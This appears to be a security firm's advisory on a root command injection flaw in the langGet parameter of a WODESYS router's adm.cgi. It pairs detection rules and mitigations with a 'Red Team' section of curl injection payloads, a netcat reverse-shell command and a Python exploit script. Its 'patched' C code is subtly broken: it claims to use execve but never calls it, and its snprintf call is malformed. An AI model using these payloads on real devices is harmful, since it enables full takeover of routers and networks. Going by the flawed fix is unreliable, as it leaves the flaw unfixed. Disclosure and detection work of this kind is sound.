CVE-2025-65008

Executive Summary

CVE-2025-65008 is a critical unauthenticated command injection vulnerability in the WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28). The flaw resides in the adm.cgi endpoint, specifically within the langGet parameter, which fails to validate user-supplied input before passing it to a system shell. An attacker can exploit this by sending a crafted HTTP request to execute arbitrary operating system commands with root privileges.

The vulnerability was discovered and reported to the vendor, but no response or patch has been provided. Only firmware version WDR28081123OV1.01 has been confirmed vulnerable, but other versions are likely affected. Given the lack of vendor response and the public availability of proof-of-concept code, this vulnerability poses a severe risk to all unpatched devices.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full device compromise leads to data exfiltration.
• Integrity (I): High – An attacker can modify system files and configurations.
• Availability (A): High – An attacker can disrupt device operation.

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and grants full control over the router. This can be used as a pivot point into internal networks.

Deep Dive & Mechanics

The vulnerability exists in the adm.cgi CGI script, which is used for administrative functions. The langGet parameter is intended to retrieve language-specific strings, but the input is not sanitized or validated. The CGI script likely passes the value of langGet directly to a shell command (e.g., system(), popen(), or a shell wrapper) without escaping or quoting.

Root Cause: Lack of input validation and improper handling of user-supplied data in a shell context.

Attack Vector: An attacker sends an HTTP GET or POST request to the /cgi-bin/adm.cgi endpoint with a malicious langGet parameter containing shell metacharacters (e.g., ;, |, &&, `).

Example Payload:

GET /cgi-bin/adm.cgi?langGet=en;id HTTP/1.1
Host: <router_ip>

If the router is vulnerable, the id command will be executed, and the output may be reflected in the HTTP response or sent to a different channel.

Impact: Full remote code execution as root. An attacker can:

• Install persistent backdoors.
• Modify firewall rules.
• Exfiltrate sensitive data (Wi-Fi passwords, VPN configs).
• Use the device as a bot in a DDoS network.
• Pivot to internal network hosts.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual C/C++):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char lang[256];
    char cmd[512];

    // Get langGet parameter from CGI environment
    char *query = getenv("QUERY_STRING");
    // Simplified extraction (vulnerable)
    sscanf(query, "langGet=%s", lang);

    // Directly pass to system() - VULNERABLE
    snprintf(cmd, sizeof(cmd), "cat /lang/%s.txt", lang);
    system(cmd);

    return 0;
}

Patched Code (Expected Fix):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char lang[256];
    char cmd[512];

    // Get langGet parameter from CGI environment
    char *query = getenv("QUERY_STRING");
    // Simplified extraction (vulnerable)
    sscanf(query, "langGet=%s", lang);

    // Validate input: only allow alphanumeric and underscore
    for (int i = 0; lang[i]; i++) {
        if (!isalnum(lang[i]) && lang[i] != '_') {
            // Invalid character - reject
            printf("Content-Type: text/plain\n\nInvalid lang parameter");
            return 1;
        }
    }

    // Use execve() instead of system() to avoid shell injection
    snprintf(cmd, sizeof(cmd), "/bin/cat", "/lang/", lang, ".txt");
    // Or use a whitelist approach
    // ...

    return 0;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a WODESYS WD-R608U router or use an emulator (e.g., QEMU with the firmware).
2. Connect the router to an isolated network.
3. Identify the router's IP address (e.g., 192.168.1.1).

Exploitation Steps:

1. Verify Vulnerability:

   curl -v "http://192.168.1.1/cgi-bin/adm.cgi?langGet=en;id"
   

   If the response contains the output of id, the device is vulnerable.

2. Execute Commands:

   # Execute a command and capture output
   curl "http://192.168.1.1/cgi-bin/adm.cgi?langGet=en;ls -la /tmp"
   
   # Reverse shell (attacker listener: nc -lvnp 4444)
   curl "http://192.168.1.1/cgi-bin/adm.cgi?langGet=en;nc 192.168.1.100 4444 -e /bin/sh"
   

3. Automated Exploit (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   command = sys.argv[2]
   
   url = f"http://{target}/cgi-bin/adm.cgi?langGet=en;{command}"
   try:
       r = requests.get(url, timeout=5)
       print(r.text)
   except Exception as e:
       print(f"Error: {e}")
   

Blue Team (Defensive)

Detection & Prevention:

• Network Monitoring: Look for HTTP requests to /cgi-bin/adm.cgi with unusual parameters containing shell metacharacters (;, |, &, `).
• WAF Rules: Block requests to adm.cgi that contain langGet with non-alphanumeric characters.
• Segmentation: Isolate router management interfaces from untrusted networks.
• Firmware Updates: Monitor the vendor's website for patches (though currently unresponsive).

Honeypot Deployment:

• Deploy a fake adm.cgi endpoint that logs all requests and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/adm.cgi with langGet parameter containing shell metacharacters.
• Outbound connections from the router to unknown IPs on common reverse shell ports (4444, 1337, 31337).
• Unusual DNS queries from the router.

Host IOCs:

• Unexpected processes running on the router (e.g., nc, bash, python).
• Modified or new files in /tmp, /var/run, or /etc/init.d.
• Changes to firewall rules (iptables -L).
• New cron jobs or startup scripts.

File IOCs:

• /tmp/.backdoor
• /var/run/exploit.sh
• /etc/init.d/S99evil

Detection Engineering

YARA Rule

rule CVE_2025_65008_Command_Injection {
    meta:
        description = "Detects command injection attempts against WODESYS WD-R608U router"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-65008"
    strings:
        $cgi_path = "/cgi-bin/adm.cgi"
        $lang_param = "langGet="
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&&"
        $shell_meta4 = "`"
    condition:
        $cgi_path and $lang_param and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-65008 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the adm.cgi endpoint with shell metacharacters in the langGet parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/adm.cgi'
        cs-uri-query|contains: 'langGet='
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65008 Command Injection Attempt"; flow:to_server; content:"/cgi-bin/adm.cgi"; http_uri; content:"langGet="; http_uri; pcre:"/langGet=[^&]*[;|&`]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the router from the internet and place it on a separate VLAN with strict access controls.
2. Disable remote management: If possible, disable the adm.cgi endpoint or restrict access to localhost only.
3. Apply firewall rules: Block external access to port 80/443 on the router's WAN interface.

Long-Term Solutions:

1. Replace the device: Since the vendor is unresponsive, consider replacing the router with a more secure alternative.
2. Custom firmware: If technically feasible, flash the device with an open-source firmware (e.g., OpenWrt) that is actively maintained.
3. Vendor pressure: Report the vulnerability to CERT/CC or other disclosure platforms to increase visibility.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) in front of the router to filter malicious requests.
• Implement a custom iptables rule to drop packets containing shell metacharacters in the URI.

Valters IT
Securing Digital Frontiers